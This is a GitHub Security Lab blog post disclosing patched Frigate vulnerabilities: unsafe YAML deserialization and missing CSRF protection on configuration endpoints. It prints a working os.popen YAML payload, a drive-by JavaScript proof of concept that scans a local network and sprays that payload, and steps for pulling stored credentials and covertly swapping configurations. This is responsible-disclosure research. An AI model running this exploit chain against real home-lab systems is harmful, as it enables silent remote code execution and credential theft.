Securing our home labs: Frigate code review
This blog post describes two linked vulnerabilities found in Frigate, an AI-powered security camera manager, that could have enabled an attacker to silently gain remote code execution.
At GitHub Security Lab, we are continuously analyzing open source projects in line with our goal of keeping the software ecosystem safe. Whether by manual review, multi-repository variant analysis, or internal automation, we focus on high-profile projects we all depend on and rely on.
Following on our Securing our home labs series, this time, we (Logan MacLaren, @maclarel, and Jorge Rosillo, @jorgectf) paired in our duty of reviewing some of our automation results (leveraging GitHub code scanning), when we came across an alert that would absorb us for a while. By the end of this post, you will be able to understand how to get remote code execution in a Frigate instance, even when the instance is not directly exposed to the internet.
The target
Frigate is an open source network video recorder that can consume video streams from a wide variety of consumer security cameras. In addition to simply acting as a recorder for these streams, it can also perform local object detection.
Furthermore, Frigate offers deep integrations with Home Assistant, which we audited a few weeks ago. With that, and given the significant deployment base (more than 1.6 million downloads of Frigate container at the time of writing), this looked like a great project to dig deeper into as a continuation for our previous research.
Issues we found
Code scanning initially alerted us to several potential vulnerabilities, and the one that stood out the most was deserialization of user-controlled data, so we decided to dive into that one to start.
Please note that the code samples outlined below are based on Frigate 0.12.1 and all vulnerabilities outlined in this report have been patched as of the latest beta release (0.13.0 Beta 3).
Insecure deserialization with yaml.load
(CVE-2023-45672)
Frigate offers the ability to update its configuration in three ways—through a configuration file local to the system/container it runs on, through its UI, or through the /api/config/save
REST API endpoint. When updating the configuration through any of these means there will eventually be a call to load_config_with_no_duplicates
which is where this vulnerability existed.
Using the /api/config/save
endpoint as an entrypoint, input is initially accepted through http.py
:
@bp.route("/config/save", methods=["POST"])
def config_save():
save_option = request.args.get("save_option")
new_config = request.get_data().decode()
The user-provided input is then parsed and loaded by load_config_with_no_duplicates
:
@classmethod
def parse_raw(cls, raw_config):
config = load_config_with_no_duplicates(raw_config)
return cls.parse_obj(config)
However, load_config_with_no_duplicates
uses yaml.loader.Loader
which can instantiate custom constructors. A provided payload will be executed directly:
PreserveDuplicatesLoader.add_constructor(
yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor
)
return yaml.load(raw_config, PreserveDuplicatesLoader)
In this scenario providing a payload like the following (invoking os.popen
to run touch /tmp/pwned
) was sufficient to achieve remote code execution:
!!python/object/apply:os.popen
- touch /tmp/pwned
Cross-site request forgery in config_save
and config_set
request handlers (CVE-2023-45670)
Even though we can get code execution on the host (potentially a container) running Frigate, most installations are only exposed in the user local network, so an attacker cannot interact directly with the instance. We wanted to find a way to get our payload to the target system without needing to have direct access. Some further review of the API led us to find two notable things:
- The API does not implement any authentication (nor does the UI), instead relying on user-provided security (for example, an authentication proxy).
- No CSRF protections were in place, and the attacker does not really need to be able to read the cross-origin response, meaning that even with an authentication proxy in place a “drive-by” attack would be feasible.
As a simple proof of concept (PoC), we created a web page that will run a Javascript function targeted to a server under our control and drop in our own configuration (note the camera name of pwnd
):
const pwn = async () => {
const data = `mqtt:
host: mqtt
cameras:
pwnd:
ffmpeg:
inputs:
- path: /media/frigate/car-stopping.mp4
input_args: -re -stream_loop -1 -fflags +genpts
roles:
- detect
- rtmp
detect:
height: 1080
width: 1920
fps: 5`;
await fetch("http://:5000/api/config/save?save_option=saveonly", {
method: "POST",
mode: "no-cors",
body: data
});
}
pwn();
Putting these into action for a “drive-by”
As we have a combination of an API endpoint that can update the server’s configuration without authentication, is vulnerable to a “drive-by” as it lacks CSRF protection, and a vulnerable configuration parser we can quickly move toward 0-click RCE with little or no knowledge of the victim’s network or Frigate configuration.
For the purposes of this PoC, we have Frigate 0.12.1 running at 10.0.0.2 on TCP 5000.
Using the following Javascript we can scan an arbitrary network space (for example, 10.0.0.1 through 10.0.0.4) to find a service accepting connections on TCP 5000. This will iterate over any IP in the range we provide in the script and scan the defined port range. If it finds a hit, it will run the pwn
function against it.
// Tested and confirmed functional using Chrome 118.0.5993.88 with Frigate 0.12.1.
const pwn = (host, port) => {
const data = `!!python/object/apply:os.popen
- touch /tmp/pwned`;
fetch("http://" + host + ":" + port + "/api/config/save?save_option=saveonly", {
method: "POST",
mode: "no-cors",
body: data
});
};
const thread = (host, start, stop, callback) => {
const loop = port => {
if (port {
callback(port);
loop(port + 1);
}).catch(err => {
loop(port + 1);
});
}
};
setTimeout(() => loop(start), 0);
};
const scanRange = (start, stop, thread_count) => {
const port_range = stop - start;
const thread_range = port_range / thread_count;
for (let n = 0; n < 5; n++) {
let host = "10.0.0." + n;
for (let i = 0; i {
pwn(host, port);
});
}
}
}
window.onload = () => {
scanRange(4998, 5002, 2);
};
This can, of course, be extended out to scan a larger IP range, multiple different IP ranges (for example, 192.168.0.0/24), different port ranges, etc. In short, the attacker does not need to know anything about the victim’s network or the location of the Frigate service—if it’s running on a predictable port a malicious request can easily be sent to it with no user involvement beyond accessing the malicious website. It is likely that this can be further extended to perform validation of the target prior to submitting a payload; however, the ability to “spray” a malicious payload in this fashion is sufficient for zero-knowledge exploitation without user interaction.
Credit to wybiral/localscan for the basis of the Javascript port scanner.
Being a bit sneakier with the /config
API
The /config
API has three main capabilities:
- Pull the existing config
- Save a new config
- Update an existing config
As Frigate, by default, has no authentication mechanism it’s possible to arbitrarily pull the configuration of the target server by sending a GET
request to :/api/config/raw
. While this may not seem too interesting at first, this can be used to pull MQTT credentials, RTSP password(s), and local file paths that we can take advantage of for exfiltration.
The saveonly
option is useful if we wish to utilize the deserialization vulnerability; however, restart
can actually have the server running with a configuration under our control.
Combining these three capabilities with the CSRF vulnerability outlined above, it’s possible to not only achieve RCE (the most interesting path), but also to have Frigate running a malicious config in a way that’s largely invisible to the owner of the service.
In short, we can:
- Pull the existing configuration from
/config/raw
. - Insert our own configuration (e.g. disabling recording, changing the MQTT server location, changing feeds to view cameras under our control, etc…—movie-style hacker stuff) and prompt the server to run with it using
/config/save
‘srestart
argument. - Overwrite our malicious configuration with the original configuration but not utilize it by again updating through
/config/save
using thesaveonly
argument.
Conclusion
Frigate is a fantastic project, and it does what it aims to do very well, with significant customization options. Having said this, there remains considerable room for improvement with the out-of-the-box security configuration, so additional security protections are strongly recommended for deployments of this software.
At the time of writing the vulnerabilities outlined here have all been patched (>= 0.13.0 Beta 3) and the following GitHub Security Advisories and CVEs have been published:
- GHSA-xq49-hv88-jr6h / CVE-2023-45670
- GHSA-jjxc-m35j-p56f / CVE-2023-45671
- GHSA-qp3h-4q62-p428 / CVE-2023-45672
We also published our advisory on the GitHub Security Lab page.
We encourage users of Frigate to update to the latest releases as soon as possible, and also you, fellow reader, to stay tuned for more blog posts in the Securing our home labs series!
Tags:
Written by
Related posts
Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects
Can an attacker execute arbitrary commands on a remote server just by sending JSON? Yes, if the running code contains unsafe deserialization vulnerabilities. But how is that possible? In this blog post, we’ll describe how unsafe deserialization vulnerabilities work and how you can detect them in Ruby projects.
10 years of the GitHub Security Bug Bounty Program
Let’s take a look at 10 key moments from the first decade of the GitHub Security Bug Bounty program.
Where does your software (really) come from?
GitHub is working with the OSS community to bring new supply chain security capabilities to the platform.